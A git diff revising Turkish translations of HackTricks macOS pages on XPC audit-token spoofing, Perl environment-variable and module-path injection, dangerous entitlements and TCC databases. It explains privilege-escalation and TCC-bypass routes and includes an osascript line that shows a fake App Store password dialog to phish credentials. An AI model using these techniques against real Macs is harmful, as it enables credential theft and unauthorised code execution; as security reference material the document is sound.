+2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir mesaj göndermek için kullanılır.
+3. Ardından, yasaklanan bir işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
-Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir:
+Aşağıda açıklanan saldırı senaryosunun görsel temsili bulunmaktadır:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
-
+
## Keşif Problemleri
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu.
-* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve etkin kullanım gerektiriyordu.
-* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
-* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
+* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve aktif kullanım gerektiriyordu.
+* **Analiz Araçları**: IDA/Ghidra gibi araçlar, ulaşılabilir mach hizmetlerini incelemek için kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
+* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği yazma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
## Düzeltme
* **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir.
-* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesi ile uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
-* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te hala devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.
+* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
+* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
index cc84a6637..eb4491983 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
@@ -2,19 +2,19 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## `PERL5OPT` ve `PERL5LIB` Çevresel Değişkeni Aracılığıyla
+## `PERL5OPT` ve `PERL5LIB` çevresel değişkeni Aracılığıyla
Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\
Örneğin, bu betiği oluşturun:
@@ -67,27 +67,13 @@ Hangi şu şekilde bir şey döndürecektir:
Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir.
{% hint style="warning" %}
-Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** unutmayın ve günümüzde bu **TCC uyarısı** alacaksınız:
+Ancak, o klasöre yazabilmek için **root olmanız gerektiğini** ve günümüzde bu **TCC uyarısı** alacağınızı unutmayın:
{% endhint %}
-
+
Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır.
## Referanslar
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
-
-
-
-AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)!
-
-HackTricks'i desteklemenin diğer yolları:
-
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
-
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index 9e2af6f4d..8650e462e 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -8,9 +8,9 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
-* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına katkıda bulunun.
+* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -38,11 +38,11 @@ Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu
### `com.apple.security.cs.debugger`
-Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
+Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklama aracı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
-Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmayan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
+Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmamış olan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
@@ -59,7 +59,7 @@ Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevre
### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`**
-Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **bir ayrıcalık yükseltmesi** için faydalı olabilir.
+Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da bir **yetki yükseltmesi** için faydalı olabilir.
### `com.apple.private.security.kext-management`
@@ -67,11 +67,11 @@ Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir,
### **`com.apple.private.icloud-account-access`**
-**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı mümkün kılar ve **iCloud belgelerini sağlar**.
+**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmayı sağlar ve bu da **iCloud belgelerini sağlar**.
**iMovie** ve **Garageband** bu yetkiye sahipti.
-Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
+Bu yetkiden **iCloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@@ -87,7 +87,7 @@ TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Updat
### `keychain-access-groups`
-Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler:
+Bu yetki, uygulamanın erişim sağlayabileceği **anahtarlık** gruplarını listeler:
```xml
keychain-access-groups
@@ -104,37 +104,35 @@ Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izi
### **`kTCCServiceAppleEvents`**
-Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
+Uygulamanın diğer uygulamalara olaylar göndermesine izin verir, genellikle **görevleri otomatikleştirmek** için kullanılan. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Kullanıcıdan şifresini istemelerini sağlamak gibi:
-
-{% code overflow="wrap" %}
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
{% endcode %}
-Veya onları **keyfi eylemler gerçekleştirmeye** zorlamak.
+Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak.
### **`kTCCServiceEndpointSecurityClient`**
-Diğer izinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir.
+İzinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir.
### **`kTCCServiceSystemPolicySysAdminFiles`**
-Bir kullanıcının ev klasörü yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir.
+Kullanıcının ev klasör yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir.
### **`kTCCServiceSystemPolicyAppBundles`**
-Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde).
+Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir.
-
+
Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._
### `kTCCServiceAccessibility`
-İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle, Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
+İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
## Orta
@@ -144,7 +142,7 @@ Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **ya
### `com.apple.security.cs.allow-unsigned-executable-memory`
-Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
+Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı (temelde güvensiz olan) kullanmaya veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün.
@@ -152,10 +150,10 @@ Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygı
### `com.apple.security.cs.disable-executable-page-protection`
-Bu ayrıcalık, **kendi yürütülebilir dosyalarının diskteki bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
+Bu ayrıcalık, **kendi yürütülebilir dosyalarının bölümlerini** diskte değiştirmeye izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
-Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, saldırganın uygulamanızın yürütülebilir kodunu algılanmadan yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
+Yürütülebilir Bellek Koruma Ayrıcalığını Devre Dışı Bırakma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, uygulamanızın yürütülebilir kodunu bir saldırganın tespit edilmeden yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@@ -179,14 +177,14 @@ Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur:
-Tüm TCC izinlerini istemek için işleme izin verin
+Aktif sürecin **tüm TCC izinlerini istemesine** izin verin.
Diğer HackTricks'i destekleme yolları:
-* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
-* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
index 06e1c22a0..6e3fa29d3 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
@@ -2,41 +2,41 @@
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## **Temel Bilgiler**
-**TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açıkça kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sahibi olmalarını sağlar.
+**TCC (Transparency, Consent, and Control)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açık kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sağlar.
-Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların yalnızca açıkça izin verilenlere erişim sağlamasını sağlar.
+Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların sadece açıkça izin verilenlere erişim sağlamasını sağlar.
![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
-**TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder).
+**TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından yönetilir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder).
Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder.
-Burada sistem olarak çalışan tccd'yi ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
+Burada sistem ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
-İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre izlenir.
+İzinler **ana uygulamadan miras alınır** ve **izinler** **Paket Kimliği** ve **Geliştirici Kimliği**ne göre **izlenir**.
### TCC Veritabanları
-İzinler/denetlemeler daha sonra bazı TCC veritabanlarında saklanır:
+İzinler daha sonra bazı TCC veritabanlarında saklanır:
- **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı.
- Bu veritabanı **SIP korumalıdır**, bu yüzden yalnızca bir SIP atlatma işlemi yazabilir.
@@ -44,22 +44,22 @@ ps -ef | grep tcc
- Bu veritabanı, yalnızca Tam Disk Erişimi gibi yüksek TCC ayrıcalıklarına sahip işlemler yazabilir (ancak SIP tarafından korunmaz).
{% hint style="warning" %}
-Önceki veritabanları ayrıca **okuma erişimi için TCC korumalıdır**. Bu nedenle, düzenli kullanıcı TCC veritabanını yalnızca TCC ayrıcalıklı bir işlemden okuyamazsınız.
+Önceki veritabanları ayrıca **okuma erişimi için TCC korumalıdır**. Bu nedenle, düzenli kullanıcı TCC veritabanını **TCC ayrıcalıklı bir işlemden okuyamazsınız**.
Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpointSecurityClient` gibi) kullanıcıların TCC veritabanını yazabilir.
{% endhint %}
- **Üçüncü** bir TCC veritabanı **`/var/db/locationd/clients.plist`** içinde, konum hizmetlerine **erişime izin verilen istemcileri** belirtmek için.
-- SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (ayrıca TCC ile okuma erişimine karşı korunur), tüm **geçerli TCC veritabanlarının konumunu** içerir.
-- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ayrıca TCC ile okuma erişimine karşı korunur), daha fazla TCC verilen izni içerir.
-- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir.
+- Okuma erişiminden TCC ile korunan **`/Users/carlospolop/Downloads/REG.db`** dosyası, tüm **geçerli TCC veritabanlarının konumunu** içerir.
+- Okuma erişiminden TCC ile korunan **`/Users/carlospolop/Downloads/MDMOverrides.plist`** dosyası, daha fazla TCC verilen izni içerir.
+- Okunabilir olan **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** dosyası, bir TCC istisnası gerektiren uygulamaların izin listesidir.
{% hint style="success" %}
-**iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
+**iOS**'deki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
{% endhint %}
{% hint style="info" %}
-**Bildirim merkezi UI**, **sistem TCC veritabanında değişiklikler yapabilir**:
+**Bildirim merkezi arayüzü**, **sistem TCC veritabanında değişiklikler yapabilir**:
{% code overflow="wrap" %}
```bash
@@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
```
{% endcode %}
-Ancak, kullanıcılar **kuralları silebilir veya sorgulayabilir** **`tccutil`** komut satırı yardımcı programı ile.
